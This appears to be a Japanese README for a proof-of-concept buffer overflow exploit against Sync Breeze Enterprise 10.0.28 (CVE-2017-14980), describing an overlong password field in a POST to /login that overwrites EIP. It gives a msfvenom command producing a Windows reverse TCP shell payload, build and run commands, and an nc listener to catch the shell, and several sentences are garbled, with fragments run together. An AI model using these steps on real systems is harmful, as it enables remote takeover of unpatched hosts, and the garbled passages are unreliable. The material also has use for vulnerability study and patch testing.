
Sync Breeze Enterprise v10.0.28 (CVE-2017-14980) 用の概念実証バッファオーバーフローエクスプロイト。細工された HTTP POST ペイロードを送信して EIP を上書きし、カスタム x86 シェルコードを実行して任意のコード実行を実現します。
このリポジトリは、CVE-2017-14980 として識別される脆弱性を対象とした、Sync Breeze Enterprise バージョン 10.0.28 向けの概念実証 バッファオーバーフローエクスプロイト (BOF) を含んでいます。
この脆弱性は、/login エンドポイントへの POST リクエスト内の password フィールドを処理する際の不適切な入力検証に起因します。
攻撃者はこのフィールドに過度に長い値を送信することで、EIP を上書きし任意のコード実行を可能にします。
このエクスプロイトは、以下で構成される慎重に細工されたペイロードを送信します:
'A')password フィールドに含む HTTP POST リクエストを脆弱なサーバに送信します。gcc)\x83\x0C\x09\x10) とシェルコードの調整msfvenom を使用したシェルコード生成の例:
msfvenom -p windows/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
gcc exploit.c -o exploit
./exploit
nc -nlvp 4444